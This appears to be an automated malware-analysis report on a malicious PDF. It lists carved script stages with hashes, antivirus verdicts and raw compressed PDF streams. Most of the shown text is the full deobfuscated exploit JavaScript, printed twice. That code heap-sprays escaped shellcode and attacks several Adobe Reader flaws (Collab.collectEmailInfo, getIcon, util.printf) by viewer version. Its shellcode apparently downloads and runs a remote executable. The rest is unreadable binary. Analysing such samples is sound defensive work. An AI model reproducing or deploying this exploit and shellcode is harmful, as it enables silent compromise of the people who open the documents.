Array('iPu63Iz8l','jR3yxekiKc');function mWTf2NTmz(q6bodhAB,sS1npu7qg,moOIAGhC){return false;}var y0BzaR3Ce=new Array("phldahIIt","rqVkMn73vX","wfNlaURwA");var nSd4Sni7x = 'e'+'v'+'a'+'l';app[nSd4Sni7x](r6KInqXsz);this.gBSQBVtK=false;var x8tgaP7Tc=new Array(14633,1198);vUYPS6xyP=0.3;
|
|||
generic_stage_recovery_002.js |
deobfuscated-js | generic stage recovery split-literal-normalize from decompressed stream at 0x3478 at offset 0x3478 | 5947 bytes |
SHA-256: 02968dcabedc0896d325d26b5fa46af22c36b576c29f51507ec107f7f63df46d |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 4 eval/decoder/string-building token(s). 42 of 74 identifiers look randomly generated (e.g. 'dwSy84Ewqd') — consistent with name-mangling obfuscation.
|
|||
Preview scriptFirst 1,000 lines of the extracted script
var g93tcwLR="zcGgQqLKx2";var k1jPyi2a1=new Array();k1jPyi2a1[0]=20830;k1jPyi2a1[1]=31039;var phapwEBp=new Array("uIEWGtF8Fj","yKCFaL03p","lLPkpWxr");var sxz3TlE7H = 'var aT2SIgMrm = new Array();var jUCXkje3R;function lHskEaMkm(mjQ0s1Jm, vy5AnujZ){while(mjQ0s1Jm.length * 2 < vy5AnujZ){mjQ0s1Jm += mjQ0s1Jm;}mjQ0s1Jm = mjQ0s1Jm.substring(0, vy5AnujZ / 2);return mjQ0s1Jm;}function kTh8tyaiMl(dwSy84Ewqd){if(dwSy84Ewqd == 0){var zwWH2gY7 = 0x0c0c0c0c;}else if(dwSy84Ewqd == 1){zwWH2gY7 = 0x30303030;}var lgzzbDvrJ = new Array(\"%u535\",\"0%u5251\",\"%u5756%u9c\",\"55%u00e\",\"8%u0000%\",\"u5d00%ued8\",\"3%u310\",\"d%u64c0%u4\",\"003%u78\",\"30%u8b0c%\",\"u0c40%u\",\"708b%uad1\",\"c%u408\",\"b%ueb0\",\"8%u8b09%u\",\"3440%\",\"u408d%u8\",\"b7c%u3c\",\"40%u575\",\"6%u5ebe\",\"%u0001%u01\",\"00%ubfe\",\"e%u014e%u0\",\"000%uef01%\",\"ud6e8%u\",\"0001%\",\"u5f00%u895\",\"e%u81\",\"ea%u5\",\"ec2%u0001%\",\"u5200%\",\"u8068%\",\"u0000%uff\",\"00%u4e95%\",\"u0001%u8\",\"900%u81e\",\"a%u5ec2\",\"%u0001%u3\",\"100%u01\",\"f6%u8ac2\",\"%u359c\",\"%u0263%u00\",\"00%ufb80%u\",\"7400%u88\",\"06%u321c%u\",\"eb46%uc6\",\"ee%u320\",\"4%u8900%u8\",\"1ea%u45c2\",\"%u0002%\",\"u5200\",\"%u95ff%u01\",\"52%u00\",\"00%uea89%u\",\"c281%\",\"u0250%u00\",\"00%u5052%\",\"u95ff\",\"%u0156%\",\"u0000%\",\"u006a\",\"%u006a%uea\",\"89%uc281%\",\"u015e\",\"%u0000\",\"%u8952%\",\"u81ea%u78c\",\"2%u000\",\"2%u520\",\"0%u00\",\"6a%ud0ff\",\"%u056a%u\",\"ea89%\",\"uc281%u\",\"015e%u0\",\"000%uff52%\",\"u5a95%u\",\"0001%\",\"u8900\",\"%u81e\",\"a%u5ec2%u\",\"0001%u520\",\"0%u8068\",\"%u0000%uf\",\"f00%u4e\",\"95%u0001%u\",\"8900%\",\"u81ea\",\"%u5ec\",\"2%u000\",\"1%u3100%u\",\"01f6%u8a\",\"c2%u3\",\"59c%u0\",\"26e%u0\",\"000%ufb\",\"80%u7400%\",\"u8806%u3\",\"21c%ue\",\"b46%uc\",\"6ee%u3204%\",\"u8900%u8\",\"1ea%u45\",\"c2%u0\",\"002%u5200\",\"%u95ff%\",\"u0152%u00\",\"00%uea8\",\"9%uc281%u0\",\"250%u\",\"0000%u5\",\"052%u95f\",\"f%u0156%\",\"u0000%u0\",\"06a%u006a\",\"%uea89%uc2\",\"81%u015e\",\"%u0000\",\"%u8952%u81\",\"ea%ua6c2%\",\"u0002\",\"%u5200%u00\",\"6a%ud\",\"0ff%u05\",\"6a%uea89%u\",\"c281%u015\",\"e%u0000%\",\"uff52%\",\"u5a95\",\"%u0001%u9d\",\"00%u5f5d\",\"%u5a5e%u5\",\"b59%uc3\",\"58%u0000\",\"%u0000\",\"%u0000%u00\",\"00%u00\",\"00%u0000%\",\"u0000%u000\",\"0%u6547\",\"%u547\",\"4%u6d65\",\"%u5070%u7\",\"461%u41\",\"68%u4c\",\"00%u616f%\",\"u4c64%u626\",\"9%u6172%\",\"u7972%u0\",\"041%u6547%\",\"u5074%u6\",\"f72%u4163\",\"%u646\",\"4%u6572%u7\",\"373%u\",\"5700%u6e\",\"69%u7845\",\"%u6365%ubb\",\"00%uf289%\",\"uf789%\",\"uc030%\",\"u75ae%u29\",\"fd%u89f7\",\"%u31f9%\",\"ubec0%u003\",\"c%u00\",\"00%ub503%u\",\"021b%\",\"u0000%ua\",\"d66%u85\",\"03%u021b%u\",\"0000%u708\",\"b%u837\",\"8%u1c\",\"c6%ub503%u\",\"021b%u000\",\"0%ubd8d%u0\",\"21f%u0\",\"000%u03ad%\",\"u1b85%u\",\"0002%ua\",\"b00%u03ad%\",\"u1b85%\",\"u0002\",\"%u5000%uad\",\"ab%u85\",\"03%u0\",\"21b%u\",\"0000%\",\"u5eab%\",\"udb31%u56a\",\"d%u8503%u\",\"021b%u\",\"0000%\",\"uc689%ud\",\"789%ufc5\",\"1%ua6f\",\"3%u7459%u\",\"5e04%ueb\",\"43%u5ee9\",\"%ud193%u03\",\"e0%u278\",\"5%u0002%u3\",\"100%u96f\",\"6%uad6\",\"6%ue0c\",\"1%u0302%u1\",\"f85%u00\",\"02%u890\",\"0%uad\",\"c6%u8503%\",\"u021b%u00\",\"00%ue\",\"bc3%u00\",\"10%u0000%\",\"u0000%u00\",\"00%u0000\",\"%u0000%u00\",\"00%u0\",\"000%u\",\"8900%u1b\",\"85%u0\",\"002%u5600%\",\"ue857%uf\",\"f58%uf\",\"fff%u5e5\",\"f%u01ab\",\"%u80c\",\"e%ubb3e\",\"%u0274%ued\",\"eb%u5\",\"5c3%u4c5\",\"2%u4f\",\"4d%u2e4e%\",\"u4c44%u0\",\"04c%u525\",\"5%u44\",\"4c%u776f%\",\"u6c6e%u616\",\"f%u5464\",\"%u466f%u6\",\"c69%u41\",\"65%u7500\",\"%u6470%\",\"u7461%u2e\",\"65%u78\",\"65%u00\",\"65%u7263%u\",\"7361%u\",\"2e68%\",\"u6870%u00\",\"70%u74\",\"68%u7074%u\",\"2f3a%u\",\"732f%u617\",\"4%u6c6c%u\",\"6176%\",\"u7372%u3\",\"72d%u\",\"632e%u2f6e\",\"%u7473%\",\"u2f37%u\",\"7075%u\",\"6164%u6574\",\"%u702\",\"e%u7068%\",\"u693f%u\",\"3d64%\",\"u2633%u657\",\"2%u3d74%\",\"u6b6f%u9\",\"000\");lgzzbDvrJ = unescape(lgzzbDvrJ.join(\"\"));var thxKGPqJ = 0x400000;var dN4ieP2iNJ = lgzzbDvrJ.length * 2;var vy5AnujZ = thxKGPqJ - (dN4ieP2iNJ + 0x38);var mjQ0s1Jm = unescape(\"%u9090%u9090\");mjQ0s1Jm = lHskEaMkm(mjQ0s1Jm, vy5AnujZ);var hggtyPDR = (zwWH2gY7 - 0x400000) / thxKGPqJ;for(var xMz5RFJDr = 0; xMz5RFJDr < hggtyPDR; xMz5RFJDr++){aT2SIgMrm[xMz5RFJDr] = mjQ0s1Jm + lgzzbDvrJ;}}function gPdSGemyl(){var gwCFv8QkMv = 0;var dWz30Wc8Sx = app.viewerVersion.toString();app.clearTimeOut(jUCXkje3R);if((dWz30Wc8Sx >= 8 && dWz30Wc8Sx < 8.102) || dWz30Wc8Sx < 7.1){kTh8tyaiMl(0);var dUecnnyRL = unescape(\"%u0c0c%u0c0c\");while(dUecnnyRL.length < 44952) dUecnnyRL += dUecnnyRL;var wASh3W7k = this;var oNmYv6F8 = Collab;wASh3W7k[\"collabStore\"] = oNmYv6F8[\"collectEmailInfo\"]({subj : \"\", msg : dUecnnyRL});}if((dWz30Wc8Sx >= 8.102 && dWz30Wc8Sx < 8.104) || (dWz30Wc8Sx >= 9 && dWz30Wc8Sx < 9.1) || dWz30Wc8Sx <= 7.101){try{if(app.doc.Collab.getIcon){kTh8tyaiMl(2);var g99lsB5aD5 = unescape(\"%09\");while(g99lsB5aD5.length < 0x4000){g99lsB5aD5 += g99lsB5aD5;}g99lsB5aD5 = \"N.\" + g99lsB5aD5;var wQCet2Vu = app;wQCet2Vu[\"doc\"][\"Collab\"][\"getIcon\"](g99lsB5aD5);gwCFv8QkMv = 1;}else{gwCFv8QkMv = 1;}}catch(e){gwCFv8QkMv = 1;}if(gwCFv8QkMv == 1){if(dWz30Wc8Sx == 8.102 || dWz30Wc8Sx == 7.1){kTh8tyaiMl(1);var krnGx4eoY = \"12999999999999999999\";for(mTfNarK8c = 0; mTfNarK8c < 276; mTfNarK8c++){krnGx4eoY += \"8\";}var xwM9uDR1Z = util;xwM9uDR1Z[\"printf\"](\"%45000f\", krnGx4eoY);}}}}app.pWqkQU3H = gPdSGemyl;jUCXkje3R = app.setTimeOut(\"app.pWqkQU3H()\", 10);';var xLnzz5Ne6=new Array("vWbVWRuEeD","o3Snd0Kmx","pNoE2xpX");this.gq9yAn782='hgrFUNJC';this.wAjP8Nbz6=16523;var r6KInqXsz = sxz3TlE7H.replace(/[]/g, '');var aHj0mNxG=new Array('iPu63Iz8l','jR3yxekiKc');function mWTf2NTmz(q6bodhAB,sS1npu7qg,moOIAGhC){return false;}var y0BzaR3Ce=new Array("phldahIIt","rqVkMn73vX","wfNlaURwA");var nSd4Sni7x = 'eval';app[nSd4Sni7x](r6KInqXsz);this.gBSQBVtK=false;var x8tgaP7Tc=new Array(14633,1198);vUYPS6xyP=0.3;
|
|||
generic_stage_recovery_003.js |
deobfuscated-js | generic stage recovery percent-decode from decompressed stream at 0x3478 at offset 0x3478 | 5952 bytes |
SHA-256: d33be226790f84cea3afef14194fd33dd66c1812d03bf554a629814e2f334c2e |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 4 eval/decoder/string-building token(s). 42 of 74 identifiers look randomly generated (e.g. 'dwSy84Ewqd') — consistent with name-mangling obfuscation.
|
|||
Preview scriptFirst 1,000 lines of the extracted script
var g93tcwLR="zcGgQqLKx2";var k1jPyi2a1=new Array();k1jPyi2a1[0]=20830;k1jPyi2a1[1]=31039;var phapwEBp=new Array("uIEWGtF8Fj","yKCFaL03p","lLPkpWxr");var sxz3TlE7H = 'var aT2SIgMrm = new Array();var jUCXkje3R;function lHskEaMkm(mjQ0s1Jm, vy5AnujZ){while(mjQ0s1Jm.length * 2 < vy5AnujZ){mjQ0s1Jm += mjQ0s1Jm;}mjQ0s1Jm = mjQ0s1Jm.substring(0, vy5AnujZ / 2);return mjQ0s1Jm;}function kTh8tyaiMl(dwSy84Ewqd){if(dwSy84Ewqd == 0){var zwWH2gY7 = 0x0c0c0c0c;}else if(dwSy84Ewqd == 1){zwWH2gY7 = 0x30303030;}var lgzzbDvrJ = new Array(\"%u535\",\"0%u5251\",\"%u5756%u9c\",\"55%u00e\",\"8%u0000%\",\"u5d00%ued8\",\"3%u310\",\"d%u64c0%u4\",\"003%u78\",\"30%u8b0c%\",\"u0c40%u\",\"708b%uad1\",\"c%u408\",\"b%ueb0\",\"8%u8b09%u\",\"3440%\",\"u408d%u8\",\"b7c%u3c\",\"40%u575\",\"6%u5ebe\",\"%u0001%u01\",\"00%ubfe\",\"e%u014e%u0\",\"000%uef01%\",\"ud6e8%u\",\"0001%\",\"u5f00%u895\",\"e%u81\",\"ea%u5\",\"ec2%u0001%\",\"u5200%\",\"u8068%\",\"u0000%uff\",\"00%u4e95%\",\"u0001%u8\",\"900%u81e\",\"a%u5ec2\",\"%u0001%u3\",\"100%u01\",\"f6%u8ac2\",\"%u359c\",\"%u0263%u00\",\"00%ufb80%u\",\"7400%u88\",\"06%u321c%u\",\"eb46%uc6\",\"ee%u320\",\"4%u8900%u8\",\"1ea%u45c2\",\"%u0002%\",\"u5200\",\"%u95ff%u01\",\"52%u00\",\"00%uea89%u\",\"c281%\",\"u0250%u00\",\"00%u5052%\",\"u95ff\",\"%u0156%\",\"u0000%\",\"u006a\",\"%u006a%uea\",\"89%uc281%\",\"u015e\",\"%u0000\",\"%u8952%\",\"u81ea%u78c\",\"2%u000\",\"2%u520\",\"0%u00\",\"6a%ud0ff\",\"%u056a%u\",\"ea89%\",\"uc281%u\",\"015e%u0\",\"000%uff52%\",\"u5a95%u\",\"0001%\",\"u8900\",\"%u81e\",\"a%u5ec2%u\",\"0001%u520\",\"0%u8068\",\"%u0000%uf\",\"f00%u4e\",\"95%u0001%u\",\"8900%\",\"u81ea\",\"%u5ec\",\"2%u000\",\"1%u3100%u\",\"01f6%u8a\",\"c2%u3\",\"59c%u0\",\"26e%u0\",\"000%ufb\",\"80%u7400%\",\"u8806%u3\",\"21c%ue\",\"b46%uc\",\"6ee%u3204%\",\"u8900%u8\",\"1ea%u45\",\"c2%u0\",\"002%u5200\",\"%u95ff%\",\"u0152%u00\",\"00%uea8\",\"9%uc281%u0\",\"250%u\",\"0000%u5\",\"052%u95f\",\"f%u0156%\",\"u0000%u0\",\"06a%u006a\",\"%uea89%uc2\",\"81%u015e\",\"%u0000\",\"%u8952%u81\",\"ea%ua6c2%\",\"u0002\",\"%u5200%u00\",\"6a%ud\",\"0ff%u05\",\"6a%uea89%u\",\"c281%u015\",\"e%u0000%\",\"uff52%\",\"u5a95\",\"%u0001%u9d\",\"00%u5f5d\",\"%u5a5e%u5\",\"b59%uc3\",\"58%u0000\",\"%u0000\",\"%u0000%u00\",\"00%u00\",\"00%u0000%\",\"u0000%u000\",\"0%u6547\",\"%u547\",\"4%u6d65\",\"%u5070%u7\",\"461%u41\",\"68%u4c\",\"00%u616f%\",\"u4c64%u626\",\"9%u6172%\",\"u7972%u0\",\"041%u6547%\",\"u5074%u6\",\"f72%u4163\",\"%u646\",\"4%u6572%u7\",\"373%u\",\"5700%u6e\",\"69%u7845\",\"%u6365%ubb\",\"00%uf289%\",\"uf789%\",\"uc030%\",\"u75ae%u29\",\"fd%u89f7\",\"%u31f9%\",\"ubec0%u003\",\"c%u00\",\"00%ub503%u\",\"021b%\",\"u0000%ua\",\"d66%u85\",\"03%u021b%u\",\"0000%u708\",\"b%u837\",\"8%u1c\",\"c6%ub503%u\",\"021b%u000\",\"0%ubd8d%u0\",\"21f%u0\",\"000%u03ad%\",\"u1b85%u\",\"0002%ua\",\"b00%u03ad%\",\"u1b85%\",\"u0002\",\"%u5000%uad\",\"ab%u85\",\"03%u0\",\"21b%u\",\"0000%\",\"u5eab%\",\"udb31%u56a\",\"d%u8503%u\",\"021b%u\",\"0000%\",\"uc689%ud\",\"789%ufc5\",\"1%ua6f\",\"3%u7459%u\",\"5e04%ueb\",\"43%u5ee9\",\"%ud193%u03\",\"e0%u278\",\"5%u0002%u3\",\"100%u96f\",\"6%uad6\",\"6%ue0c\",\"1%u0302%u1\",\"f85%u00\",\"02%u890\",\"0%uad\",\"c6%u8503%\",\"u021b%u00\",\"00%ue\",\"bc3%u00\",\"10%u0000%\",\"u0000%u00\",\"00%u0000\",\"%u0000%u00\",\"00%u0\",\"000%u\",\"8900%u1b\",\"85%u0\",\"002%u5600%\",\"ue857%uf\",\"f58%uf\",\"fff%u5e5\",\"f%u01ab\",\"%u80c\",\"e%ubb3e\",\"%u0274%ued\",\"eb%u5\",\"5c3%u4c5\",\"2%u4f\",\"4d%u2e4e%\",\"u4c44%u0\",\"04c%u525\",\"5%u44\",\"4c%u776f%\",\"u6c6e%u616\",\"f%u5464\",\"%u466f%u6\",\"c69%u41\",\"65%u7500\",\"%u6470%\",\"u7461%u2e\",\"65%u78\",\"65%u00\",\"65%u7263%u\",\"7361%u\",\"2e68%\",\"u6870%u00\",\"70%u74\",\"68%u7074%u\",\"2f3a%u\",\"732f%u617\",\"4%u6c6c%u\",\"6176%\",\"u7372%u3\",\"72d%u\",\"632e%u2f6e\",\"%u7473%\",\"u2f37%u\",\"7075%u\",\"6164%u6574\",\"%u702\",\"e%u7068%\",\"u693f%u\",\"3d64%\",\"u2633%u657\",\"2%u3d74%\",\"u6b6f%u9\",\"000\");lgzzbDvrJ = unescape(lgzzbDvrJ.join(\"\"));var thxKGPqJ = 0x400000;var dN4ieP2iNJ = lgzzbDvrJ.length * 2;var vy5AnujZ = thxKGPqJ - (dN4ieP2iNJ + 0x38);var mjQ0s1Jm = unescape(\"%u9090%u9090\");mjQ0s1Jm = lHskEaMkm(mjQ0s1Jm, vy5AnujZ);var hggtyPDR = (zwWH2gY7 - 0x400000) / thxKGPqJ;for(var xMz5RFJDr = 0; xMz5RFJDr < hggtyPDR; xMz5RFJDr++){aT2SIgMrm[xMz5RFJDr] = mjQ0s1Jm + lgzzbDvrJ;}}function gPdSGemyl(){var gwCFv8QkMv = 0;var dWz30Wc8Sx = app.viewerVersion.toString();app.clearTimeOut(jUCXkje3R);if((dWz30Wc8Sx >= 8 && dWz30Wc8Sx < 8.102) || dWz30Wc8Sx < 7.1){kTh8tyaiMl(0);var dUecnnyRL = unescape(\"%u0c0c%u0c0c\");while(dUecnnyRL.length < 44952) dUecnnyRL += dUecnnyRL;var wASh3W7k = this;var oNmYv6F8 = Collab;wASh3W7k[\"collabStore\"] = oNmYv6F8[\"collectEmailInfo\"]({subj : \"\", msg : dUecnnyRL});}if((dWz30Wc8Sx >= 8.102 && dWz30Wc8Sx < 8.104) || (dWz30Wc8Sx >= 9 && dWz30Wc8Sx < 9.1) || dWz30Wc8Sx <= 7.101){try{if(app.doc.Collab.getIcon){kTh8tyaiMl(2);var g99lsB5aD5 = unescape(\" \");while(g99lsB5aD5.length < 0x4000){g99lsB5aD5 += g99lsB5aD5;}g99lsB5aD5 = \"N.\" + g99lsB5aD5;var wQCet2Vu = app;wQCet2Vu[\"doc\"][\"Collab\"][\"getIcon\"](g99lsB5aD5);gwCFv8QkMv = 1;}else{gwCFv8QkMv = 1;}}catch(e){gwCFv8QkMv = 1;}if(gwCFv8QkMv == 1){if(dWz30Wc8Sx == 8.102 || dWz30Wc8Sx == 7.1){kTh8tyaiMl(1);var krnGx4eoY = \"12999999999999999999\";for(mTfNarK8c = 0; mTfNarK8c < 276; mTfNarK8c++){krnGx4eoY += \"8\";}var xwM9uDR1Z = util;xwM9uDR1Z[\"printf\"](\"E000f\", krnGx4eoY);}}}}app.pWqkQU3H = gPdSGemyl;jUCXkje3R = app.setTimeOut(\"app.pWqkQU3H()\", 10);';var xLnzz5Ne6=new Array("vWbVWRuEeD","o3Snd0Kmx","pNoE2xpX");this.gq9yAn782='hgrFUNJC';this.wAjP8Nbz6=16523;var r6KInqXsz = sxz3TlE7H.replace(/[]/g, '');var aHj0mNxG=new Array('iPu63Iz8l','jR3yxekiKc');function mWTf2NTmz(q6bodhAB,sS1npu7qg,moOIAGhC){return false;}var y0BzaR3Ce=new Array("phldahIIt","rqVkMn73vX","wfNlaURwA");var nSd4Sni7x = 'e'+'v'+'a'+'l';app[nSd4Sni7x](r6KInqXsz);this.gBSQBVtK=false;var x8tgaP7Tc=new Array(14633,1198);vUYPS6xyP=0.3;
|
|||
generic_stage_recovery_004.js |
deobfuscated-js | generic stage recovery null-collapse -> split-literal-normalize from raw PDF metadata at offset 0x0 | 21150 bytes |
SHA-256: 10d24810ead592bab4b1222618447fa1fd40344456f0217bfcb40b535100182b |
|||
|
Detection
ClamAV:
Pdf.Exploit.CVE_2009_0927-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
%PDF-1.7
3 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 4 0 R>>
endobj
4 0 obj
<</Filter /FlateDecode /Length 2240>>
stream
x�śIs�8 ��� �a�j��p �\]�tuW�҉�0�� ��HH A �h��� K6d[k tR%ǒ)�� � �
�W<V�� ����g<ʛ�;��)�E �t����n� �FQ� � o )� � M� �i6��0��� �D�Q�o�w' ����I �� ���K��D�Y Oh ̓(���~�G���9�� �w����~� �����o9i��<� I�=iWq��*e������;o �S np <V7�,ք���� �yw�+���>`�筝 s��l� ,��4M�0}~.� ��v�����~�� *b��� Ռ� RQ� ��f� �.J�Q�YmH��1����̙��d�5�#ϴ0��AM�f͚�ə�GQ ��^� �LI����� �Ozd�W ���듍�l�q�h�\�hL/;2��j�;C��Վ8 �X}�z�(�LGY_ #�N5�rf*> ߈��b�U }i ��)F˾)ȴHn.����P�/���f������� ��0�[� C ���p2}�r��1�B %^� k� G�K��2�q ��40 o�bzC � ���# } pq�� &U��
����%�i6�C�w ](Zr ��cC��J�
� �� �� �� ���nl�!30]{u n��!7�&uݨ��=i���Lъ�,� 58I�3j�8��� +X�!� �[T��L % *'ު��0� 36TH�i)�q �_y�P �� ���3�"W�V ]�� /�ĥ a��>�Ϣ��� n��(� n��14��^Z�V�MG N�RPY�: �*��D������}D���(*)W��$�8R��G�!
��@f$���U� i� +;] dUJ�� nl�8����� �o�Oo�� K�jb ��K���i� (���%&/[vȉ�0[ �e�--�)Z � Z�������' G�C5
�@Ĵİ�3C�-]� p�z��q<x�O S �g�X[!A���� "��DE �� � ����@�V� yE� f� ���2� d�=��� �� kQ�Ka��V �z���y`�Kj8/l� FI
w1�� �N"���Q�v�JVy�?� ����jQ� � ,v�: �ۥ�0 ����^
� &. "�T4g����t�� �RpJ �捝 vA7p�� �ЮC���vY�Fb����� � /!�+��tu� ��B9j��:��^c>s��GR5���{��X��:uh�PШЮC�Ւ��ڙ�yy��0 ��y �L� v���d�4V F5�ߨN�t<��Ka|��L ;S��Jy�'q�u��ZeP" ���Z[�p� L�B\�� /�m�K��.�h�����-���T�Q��)bi;G Sl#�Œn_�� ��U��^X�2 f? |: �ɟ)�RZ�� �* �=7�&�2��G�5�to�g �l�[�t;�a���� 2�lPD��Bn{�u��Go' 7�O�� �|�6���J B �2� ڰ�,�:$薢��2� ��ݙ� �S� �� ��� AK,qO��� ٍ�H���H&�Qa�ÆOg��]e/���� uI*� ��`�L��;�4�E �x�A�lS ����5�ͧ� �����MtK�{i�`W�� v����o� wP3�����WmJ�8
�$�2��B�YG��io�ݸ6�� -�D�UJ�=�xgc��A����BɫW����m���˧����� 0� =!���%��3�&�QXa� �� �����c�[J!�0?W Y� )����� �`W���
/g�����#:�
&|:<s<�6u� {e�p��W��Lϓ�����
Um�Ӫo��
���j�$����W���ŗ��GX�1�b � y, +NB� �y�2ڿ�qN��Q^'U�9<�( �ކ ���#���U3�i� n^��Z�*hj%>���e��$�j��M� �S �� ���k��:ڪ�Ld�7Vzus � �� ��r�m�uw)(}:�: �k� x:����S#N�S�YuQ�x���+w�.GH�!����1D4�V��z��F�j�UU��T �?��~dp � ���w�ԣB�nw7�Ow# �S ��� �on �Y�8Թ�i&��"9 -ˊT3`���}�8�:� ��5� ���hq9 ��p6Ȋ�^m�{c �0�� �����dz������� ��u߫[DN��n[���L� �UQH~b ��_|z<u@:~��*]Qi'Q�W��P��Yѩ��:f}>O3��N �v�<{ � � l��̧������_ 6
}\���n��u�Y�� �]� ��^�g 9�\w��Y喉��4�;�-����� `>� �.� �3� � )����E]y��w� p{~�< 5" ����+� σ$u_�>�����&���.
�p ��ޣ � J�ܺ�� 7 j ��
endstream
endobj
5 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 6 0 R>>
endobj
6 0 obj
<</Filter /FlateDecode /Length 2222>>
stream
x�͛Ks� ��� �����p� ��NM�J��# �ŭT ��@� HQ��ρd 4��� ��*�e E� �χ �0H 4RH��uG���_ ^?�Uݼ��w?ƴ
nK������c EI����y0_�, Ҙ �( c� z�sD �� wBQ�� � ���g?uE�N4_ ��2� �-���kf�ϙ6?lY��� �� 7x��g1 �Mӄ��<H��M�� }[+���t���}�`��x���uwc�bC(n^^��O�g ���W���� � '��c V�P�&A�>�-�7����җ#��c # ��S
�U !f9��
^� �6r)�78fj�C˩T�!� �J�֜ k &)�U�t@?o8����ڂr�7݉vK|+p�^ }Mk�Y�)WE!�~�9 �ၗ�x :K��r/�G�� EM4��F�eAf�
�2ez� �}���5U��0 {K@�Uk^P�2!��-�Hsh� ZE�VlMB�{Z��� Lw��+4�ٴ� ��3�iR( �`X�&� m�/��l��f2\�$Z3Ȟ ��TR�ya(]a��Z�,�z�(�LO�P 1 &�����7�g����d ��eN'� �ɨ �§�8 V�Sk:�S.�h��P7�%��T�!��{M=S�s� F"�� 9�ÖJ�� z��(�Tn�wy2)$��tC��Loh#6�� � s� 2�5\3�a��+ ���($ ��f�Y�1�MG��l�m�8�. � g�L�қ
U�&6�glQ YN��.{�8�d ie�� � f��[����a�B�9��P�� w[~�Q�|��T ���d=�5 rZP&�
V� �T^S .� ; H)��� �'�%�+�a � ��C�!�sEkE\
$��0P'1p>gn�X|����� � �T(vQQ)Z��X[ b#���;+BY+kHl��ly mO�� &Ne9�ap
���d ���д � [�6+�` ��r͕�>e� �2�d a ��6��J#n�@�
�&�[ط �Id� !�I��! [����F��1����gF�p>���V_�ӣز�c]-
�Mcm �G��� �|ʝ9f=�)F\ [ڊ�� R� ZY�C� � �
� ���î� �E;d�f�C��� �b ��J��r�>g*�B;RP �Q�!��`� >͑J�� .�� �dT˴O��C^� = ��vB�� ���ikX�!� �|J� F��ϺhN�0�� 2]�B�E�� � �
�a> ,!+�����b���n�u9_���?
Y� ��S�ܡ*�0o�ve�+��a/��6���5�MCa
�j��u�]�����T�:Z5�9\� �}�^��{|��Qa2�'C� Ʌ�D��<�|ʝ9^}��Qh5 �K謙�6� �1l 2�Ké^S�� '��% ��4Bcp*� �
�.}�M �:T�� UW0� GRpJ xi�[�<��4�'����� ��c .��i|�,v7�G���+�k@�Ͷb��) ����} ���{� �\�Zu �� ��/�Q��GV�p �J��� `匉Ȭ�g���� � �z�T;M)�� K�V�L˷��A��^K����A1 �����C��h�f�c�)X?�#���& �� ��Y� dž
|�� t��r�j W~ ��`�ѦTĆj@�?5֛�8� t���Yx �0�
kZT�����#�%m�#�}
���ؚ��N�4︵:��'D# �V! P� d� = �ږ� �ϧ�� �T��D��s� W g{R� s�� ^#_:�>� �z��3ף+ � ��7���l���N� � N� ��5uf}}�{��[c��sʿ�H/A�O�3��- Nw�/��/y �r*rb%���s�$v Ϥ� L|�Z7���NCU V�5��g�o}�
�ÿ� > �)ڟ~2�&�z� � ��τ��� G {
UO?��TAs;Ř ��� �3�ݯO� ���� �� �6 �C@�Zb��4����b
��|�l�|#| ��
NÃ%�i �h/��)�\ /�� G �kz ����h�ye��Ht� :/��Sl�`st� X�%ca ��ʢ���}M<� 6C��J ��_UT8� k���gw � 6FU�D�h� �� in8��6�߰%|�S3 �F+ ���:N(�� - �����h��:ؼ�}~�Wt g =PD* � �6 n�����0��(�|�� �� ;� l� ���b=H~ =��>q ;�� ��Q�Oݚɶ����=� K#j���eJ�����j/�,��6g�ˋ> �S���� � ��p���i��-P ���ȑ`�V ~ ��� �ܛ��]D�ԡ��� �2HR������ ' Q�mi Q��T ���Qz ���&�� 2� W
endstream
endobj
7 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 8 0 R>>
endobj
8 0 obj
<</Filter /FlateDecode /Length 2395>>
stream
x�śM��8 ���+� �{������3 3 �1ӵ���9 �A6 J ��_��\ �]e���ގpU�m�R��>ʔ � u үx��?�+��g<���� m�0��-�x ���s Eq opIH�e���| ,f�ZEA8��� �D�I�oOW� ����� Ⱦ5<��r��D�U0��:Z QL� ��ׂ��p��,5 ��� �
^�z2��妋���2������ u_H��!U���}�`��� w�cwg�b��ݽ��� ~~�ɘ��~g0�?� �<�i�� l���" ����%}���F,};3�n��� �z������ )UBsEM!�X)�XZpMv.u@��(cY�Ӿ� � R�h��� g5����� �A�;V5� AI��ɔx#ӂ�pE��h�4 i� >� �� ��� �|� \�>�����)AXf���JH�T�^ / �~i�)۪!�*�y�d@�� V� �$UL�z��L� P{ ��!�ۨ:��lkC n�Q"�� ���
��+1( � }lkJ�j���� F�%�Nd���
F{��tv� }� �CR���J�% ����&SMy[��WKg�`��� �� de� J��c [�댌T�F�:�T��5^� E���ˁ�^�%n��Iմ �#�Ga�#?I;W ��u nQeF�M.�B��!�'ƅl)�_z�x�� �� ^MD� � !���?��il ��K�$��R���\o^C� O��$!���X�'�1�� ��ڼU i��4�5/��lݖ�4 ��s��\ $ő6��V���5��� �ro�� \" m[�P7�PZ2 y;P�n� �:A�77y�z�� � 3���� ^��'4)� g�� �#�X�0� �@4�6�1+9�HH� � J�0 }�3dä��S�J�� W :���� ���2a5��A�k��. k Z �%� ^ ��� $ �@� ˡJVv�Q��� # *������ �h+ �9���
���0�i� f �� #�`�MB�{ ڊ �H��A�1�d��B!��T>��;"���!; �� t�ig�xt�@��N�7 � �|�>!�/a��j +{��� ����#�%r%R[}�� � X�� "�@��}O%� ��t� �V� )���ZO���K��f>M� �ڼ ,�|N�b�w�h� KO��Yl H C V�g �"��:� ��9�
�v� � �x�9b�b)��V J <!�JSc��� �6� �X.nB ���2�L�� �� � i �;Q � ���g��.� ne�Z� ,�ڴ Pn�>z�w6 �"|�H;�>��\:ĝ+�α�� �F�u� x�-Nj͓w �
� R� L8�� � 5X�P�� � L�P8� � �� 6� ٥��1� �pT-�i+QK�G��� #�J+
